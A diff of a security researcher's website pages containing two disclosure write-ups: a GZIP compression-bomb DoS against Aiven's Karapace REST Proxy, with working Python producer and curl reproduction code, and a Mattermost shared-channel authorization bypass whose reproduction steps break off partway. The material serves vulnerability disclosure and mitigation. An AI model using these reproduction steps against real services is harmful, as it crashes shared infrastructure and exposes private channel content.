| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Authenticated DoS: Karapace REST Proxy Crash via GZIP Compression Bomb in Kafka Messages | Zion Boggan"> | |
| + | <meta name="twitter:description" content="Karapace REST proxy accepts gzip-compressed messages and decompresses without bounds."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Authenticated DoS: Karapace REST Proxy Crash via GZIP Compression Bomb in Kafka Messages","description":"Karapace REST proxy accepts gzip-compressed messages and decompresses without bounds.","url":"https://zionboggan.com/security-research-notebook/kafka-karapace-gzip-bomb-dos/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">DoS</div> | |
| + | <h1>Authenticated DoS: Karapace REST Proxy Crash via GZIP Compression Bomb in Kafka Messages</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <h2>VRT</h2> | |
| + | <p>Server-Side Injection > Resource Exhaustion > Denial of Service</p> | |
| + | <h2>CVSS</h2> | |
| + | <p><strong>7.5 (High)</strong>, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</p> | |
| + | <h2>Summary</h2> | |
| + | <p>An authenticated Aiven Kafka user can crash Aiven’s <strong>Karapace REST Proxy</strong> by producing a GZIP-compressed message with an extreme compression ratio (compression bomb) to any topic, then consuming that topic through the Karapace REST API. Karapace uses confluent-kafka-python (backed by librdkafka) for its internal consumer, and librdkafka’s GZIP decompression has no upper bound on output size, unlike its ZSTD codec which correctly caps decompression at <code>receive.message.max.bytes</code>.</p> | |
| + | <p>A 917KB compressed message decompresses to 900MB, causing Karapace to allocate 1.8GB+ of memory and crash. The bomb message persists in the topic, re-crashing Karapace on every subsequent consume request from any user.</p> | |
| + | <h2>Aiven-Specific Impact</h2> | |
| + | <p>This is NOT merely an upstream librdkafka bug report. The finding is that <strong>Aiven’s Karapace architecture exposes a server-side librdkafka consumer to attacker-controlled compressed data without any decompression size mitigation</strong>:</p> | |
| + | <ol> | |
| + | <li><strong>Karapace REST Proxy is Aiven’s own service</strong>, it runs server-side, consuming from user topics via librdkafka</li> | |
| + | <li><strong>Users control the message content</strong>, any authenticated producer can send compressed messages</li> | |
| + | <li><strong>No server-side decompression limit</strong>, Aiven imposes no additional bounds beyond what librdkafka provides (which for GZIP is: none)</li> | |
| + | <li><strong>Persistent DoS</strong>, the bomb message stays in the topic until retention expires; every REST API consume attempt re-triggers the crash</li> | |
| + | <li><strong>Service-level impact</strong>, Karapace crash affects Schema Registry and REST Proxy availability for the entire Kafka service</li> | |
| + | </ol> | |
| + | <h2>Attack Chain</h2> | |
| + | <pre><code>Attacker (authenticated) → Produce GZIP bomb to topic via Kafka protocol | |
| + | → Consume topic via Karapace REST API | |
| + | → Karapace's librdkafka consumer decompresses bomb | |
| + | → Unbounded memory allocation → OOM → Karapace crash | |
| + | </code></pre> | |
| + | <h2>Reproduction</h2> | |
| + | <h3>Prerequisites</h3> | |
| + | <ul> | |
| + | <li>Aiven Kafka service with <code>kafka_rest</code> enabled</li> | |
| + | <li>SSL certificates from Aiven console</li> | |
| + | <li>Python 3 + confluent-kafka: <code>pip install confluent-kafka</code></li> | |
| + | </ul> | |
| + | <h3>Step 1: Produce GZIP compression bomb</h3> | |
| + | <pre><code class="language-python">from confluent_kafka import Producer | |
| + | ||
| + | # 200MB of zeros → ~200KB compressed with GZIP (1000:1 ratio) | |
| + | payload = b'\x00' * (200 * 1024 * 1024) | |
| + | ||
| + | conf = { | |
| + | 'bootstrap.servers': '<kafka-host>:<port>', | |
| + | 'security.protocol': 'SSL', | |
| + | 'ssl.ca.location': 'ca.pem', | |
| + | 'ssl.certificate.location': 'service.cert', | |
| + | 'ssl.key.location': 'service.key', | |
| + | 'compression.type': 'gzip', | |
| + | 'message.max.bytes': str(210 * 1024 * 1024), | |
| + | } | |
| + | ||
| + | p = Producer(conf) | |
| + | p.produce('bomb-topic', value=payload) | |
| + | p.flush() | |
| + | # Result: ~200KB stored on broker, decompresses to 200MB | |
| + | </code></pre> | |
| + | <h3>Step 2: Consume via Karapace REST API (triggers crash)</h3> | |
| + | <pre><code class="language-bash">KARAPACE="https://<kafka-rest-host>:<port>" | |
| + | ||
| + | # Create consumer | |
| + | curl -s -X POST "$KARAPACE/consumers/bomb-group" \ | |
| + | -H "Content-Type: application/vnd.kafka.binary.v2+json" \ | |
| + | --cert service.cert --key service.key --cacert ca.pem \ | |
| + | -d '{"name":"bomb-consumer","format":"binary","auto.offset.reset":"earliest"}' | |
| + | ||
| + | # Subscribe | |
| + | curl -s -X POST "$KARAPACE/consumers/bomb-group/instances/bomb-consumer/subscription" \ | |
| + | -H "Content-Type: application/vnd.kafka.binary.v2+json" \ | |
| + | --cert service.cert --key service.key --cacert ca.pem \ | |
| + | -d '{"topics":["bomb-topic"]}' | |
| + | ||
| + | # Fetch records - THIS TRIGGERS THE CRASH | |
| + | # Karapace's librdkafka consumer decompresses the bomb → OOM | |
| + | curl -s "$KARAPACE/consumers/bomb-group/instances/bomb-consumer/records" \ | |
| + | -H "Accept: application/vnd.kafka.binary.v2+json" \ | |
| + | --cert service.cert --key service.key --cacert ca.pem | |
| + | # Expected: connection reset / 502 / timeout (Karapace has crashed) | |
| + | </code></pre> | |
| + | <h3>Step 3: Verify Karapace crash</h3> | |
| + | <pre><code class="language-bash"># Subsequent requests to Karapace fail until it restarts: | |
| + | curl -s "$KARAPACE/topics" \ | |
| + | --cert service.cert --key service.key --cacert ca.pem | |
| + | # Expected: connection refused / 502 (service restarting) | |
| + | </code></pre> | |
| + | <h2>Root Cause Analysis</h2> | |
| + | <p>librdkafka’s decompression codecs have inconsistent size bounds:</p> | |
| + | <table> | |
| + | <thead> | |
| + | <tr> | |
| + | <th>Codec</th> | |
| + | <th>Source File</th> | |
| + | <th>Size Limit</th> | |
| + | <th>Vulnerable?</th> | |
| + | </tr> | |
| + | </thead> | |
| + | <tbody> | |
| + | <tr> | |
| + | <td><strong>ZSTD</strong></td> | |
| + | <td><code>rdkafka_zstd.c</code></td> | |
| + | <td><code>while (out_bufsize <= recv_max_msg_size)</code></td> | |
| + | <td>No, correctly bounded</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><strong>GZIP</strong></td> | |
| + | <td><code>rdgz.c</code></td> | |
| + | <td><strong>NONE</strong>, allocates full <code>strm.total_out</code></td> | |
| + | <td><strong>YES</strong></td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><strong>LZ4</strong></td> | |
| + | <td><code>rdkafka_lz4.c</code></td> | |
| + | <td><strong>NONE</strong>, unbounded realloc loop</td> | |
| + | <td><strong>YES</strong></td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><strong>Snappy</strong></td> | |
| + | <td><code>snappy.c</code></td> | |
| + | <td><strong>NONE</strong>, allocates sum of chunk sizes</td> | |
| + | <td><strong>YES</strong></td> | |
| + | </tr> | |
| + | </tbody> | |
| + | </table> | |
| + | <p>The ZSTD codec correctly caps decompression at <code>receive.message.max.bytes</code>. The GZIP, LZ4, and Snappy codecs do not enforce any limit, allowing attacker-controlled decompressed output sizes.</p> | |
| + | <p><strong>Aiven’s Karapace does not add any additional decompression limit</strong> on top of librdkafka’s defaults, nor does the Aiven Kafka configuration impose decompression bounds at the service level.</p> | |
| + | <h2>Local PoC Evidence (Docker Kafka 4.2.0 + librdkafka 2.14.0)</h2> | |
| + | <p><strong>200MB bomb:</strong> | |
| + | - Compressed on broker: 203,932 bytes (199KB) | |
| + | - Consumer memory increase: +400MB (from 15MB baseline to 416MB)</p> | |
| + | <p><strong>900MB bomb:</strong> | |
| + | - Compressed on broker: 917,351 bytes (896KB) | |
| + | - Consumer memory increase: +1.8GB (from 15MB baseline to 1,816MB) | |
| + | - Kafka broker’s own DumpLogSegments tool crashes: <code>java.lang.OutOfMemoryError: Java heap space</code></p> | |
| + | <h2>Suggested Mitigations for Aiven</h2> | |
| + | <ol> | |
| + | <li><strong>Karapace-level</strong>: Configure <code>receive.message.max.bytes</code> to a safe value and add explicit decompression size validation before serving via REST API</li> | |
| + | <li><strong>Container-level</strong>: Set memory limits on the Karapace container with OOM restart policy</li> | |
| + | <li><strong>Service-level</strong>: Add a configurable <code>max.decompressed.message.bytes</code> parameter that applies across all compression codecs</li> | |
| + | <li><strong>Upstream</strong>: Report the inconsistent decompression bounds to Confluent/librdkafka (GZIP/LZ4/Snappy should match ZSTD’s behavior)</li> | |
| + | </ol> | |
| + | <h2>Affected Versions</h2> | |
| + | <ul> | |
| + | <li>Aiven Karapace: all versions using confluent-kafka-python</li> | |
| + | <li>librdkafka: all versions through 2.14.0 (latest)</li> | |
| + | <li>All Aiven Kafka services with REST Proxy enabled</li> | |
| + | </ul> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/aiven/kafka-karapace-gzip-bomb-dos.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,369 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Missing Channel-Level Authorization in Shared Channel Invite/Uninvite API Allows Private Channel Data Exfiltration | Zion Boggan</title> | |
| + | <meta name="description" content="Mattermost shared-channel invite endpoint enforces system-level perms but not channel-level. Same bug class as CVE-2025-11777."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/mattermost-shared-channel-authz-bypass/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Missing Channel-Level Authorization in Shared Channel Invite/Uninvite API Allows Private Channel Data Exfiltration | Zion Boggan"> | |
| + | <meta property="og:description" content="Mattermost shared-channel invite endpoint enforces system-level perms but not channel-level. Same bug class as CVE-2025-11777."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/mattermost-shared-channel-authz-bypass/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Missing Channel-Level Authorization in Shared Channel Invite/Uninvite API Allows Private Channel Data Exfiltration | Zion Boggan"> | |
| + | <meta name="twitter:description" content="Mattermost shared-channel invite endpoint enforces system-level perms but not channel-level. Same bug class as CVE-2025-11777."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Missing Channel-Level Authorization in Shared Channel Invite/Uninvite API Allows Private Channel Data Exfiltration","description":"Mattermost shared-channel invite endpoint enforces system-level perms but not channel-level. Same bug class as CVE-2025-11777.","url":"https://zionboggan.com/security-research-notebook/mattermost-shared-channel-authz-bypass/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Authz bypass</div> | |
| + | <h1>Missing Channel-Level Authorization in Shared Channel Invite/Uninvite API Allows Private Channel Data Exfiltration</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <p><strong>Severity:</strong> High | |
| + | <strong>CVSS Score:</strong> 7.7 | |
| + | <strong>CWE:</strong> CWE-862 | |
| + | <strong>Type:</strong> Broken Access Control (Authorization Bypass) | |
| + | <strong>URL:</strong> <code>POST /api/v4/remotecluster/{remote_id}/channels/{channel_id}/invite</code></p> | |
| + | <h2>Summary</h2> | |
| + | <p>The <code>inviteRemoteClusterToChannel</code> and <code>uninviteRemoteClusterToChannel</code> API endpoints in <code>server/channels/api4/shared_channel.go</code> only enforce system-level <code>manage_shared_channels</code> permission via <code>RequirePermissionToManageSharedChannels()</code> (line 153/204). They do <strong>not</strong> verify that the calling user has channel-level access (<code>SessionHasPermissionToChannel</code>) to the target channel.</p> | |
| + | <p>This allows any user who holds the <code>manage_shared_channels</code> permission (granted via the <code>SharedChannelManager</code> role, which is a non-sysadmin role) to invite a remote cluster to <strong>any private channel on the instance</strong>, including channels they are not a member of and cannot read. Once invited, the remote cluster receives full message synchronization for that channel, effectively exfiltrating all private channel content to an attacker-controlled server.</p> | |
| + | <p>This is the same bug class as CVE-2025-11777 (authorization scope mismatch), where a system/team-level permission check was used instead of a channel-level check.</p> | |
| + | <p><strong>Inconsistency proof:</strong> In the same file, <code>getSharedChannelRemotes</code> (line 265) correctly calls <code>SessionHasPermissionToChannel(c.AppContext, *c.AppContext.Session(), c.Params.ChannelId, model.PermissionReadChannel)</code> before returning data. The invite/uninvite endpoints lack this check entirely.</p> | |
| + | <p><strong>The gap exists across the entire call chain:</strong> | |
| + | - API layer: <code>api4/shared_channel.go:153</code>, system-level only | |
| + | - App layer: <code>app/shared_channel.go:113</code>, zero authorization, passthrough | |
| + | - Plugin API: <code>plugin_api.go:1504</code>, zero authorization, any plugin can invoke | |
| + | - Service layer: <code>service_api.go:113</code>, zero authorization, will even auto-share a previously unshared channel via <code>shareIfNotShared=true</code></p> | |
| + | <h2>Reproduction Steps</h2> | |
| + | <ol> | |
| + | <li> | |
| + | <ol> | |
| + | <li>Deploy Mattermost with shared channels enabled (ExperimentalSettings.EnableSharedChannels=true, EnableRemoteClusterService=true) and at least one registered remote cluster.</li> | |
| + | </ol> | |
| + | </li> | |
| + | <li> | |
| + | <ol start="2"> | |
| + | <li>As system admin, create a team and a PRIVATE channel. Post confidential data in the private channel.</li> | |
| + | </ol> | |
| + | </li> | |
| + | <li> | |
| + | <ol start="3"> | |
| + | <li>Create a second user (attacker). Add attacker to the team but NOT to the private channel.</li> | |
| + | </ol> | |
| + | </li> | |
| + | <li> | |
| + | <ol start="4"> | |
| + | <li>Verify attacker CANNOT read the private channel: GET /api/v4/channels/{private_channel_id}/posts returns HTTP 403.</li> | |
| + | </ol> | |
| + | </li> | |
| + | <li> | |
| + | <ol start="5"> | |
| + | <li>Grant the attacker the manage_shared_channels permission, either by assigning the SharedChannelManager role or adding the permission to their existing role.</li> | |
| + | </ol> | |
| + | </li> | |
| + | <li> | |
| + | <ol start="6"> | |
| + | <li>Re-authenticate as the attacker (new session to pick up permissions).</li> | |
| + | </ol> | |
| + | </li> | |
| + | <li> | |
| + | <ol start="7"> | |
| + | <li>Verify attacker STILL cannot read the private channel: GET /api/v4/channels/{private_channel_id}/posts returns HTTP 403.</li> | |
| + | </ol> | |
| + | </li> | |
| + | <li> | |
| + | <ol start="8"> | |
| + | <li>As attacker, invite a remote cluster to the private channel: POST /api/v4/remotecluster/{remote_id}/channels/{private_channel_id}/invite</li> | |
| + | </ol> | |
| + | </li> | |
| + | <li> | |
| + | <ol start="9"> | |
| + | <li>Observe the request does NOT return 403. It either succeeds (200) or fails at a downstream step (400 invalid remote, 501 service not running), proving the channel-level permission check is missing.</li> | |
| + | </ol> | |
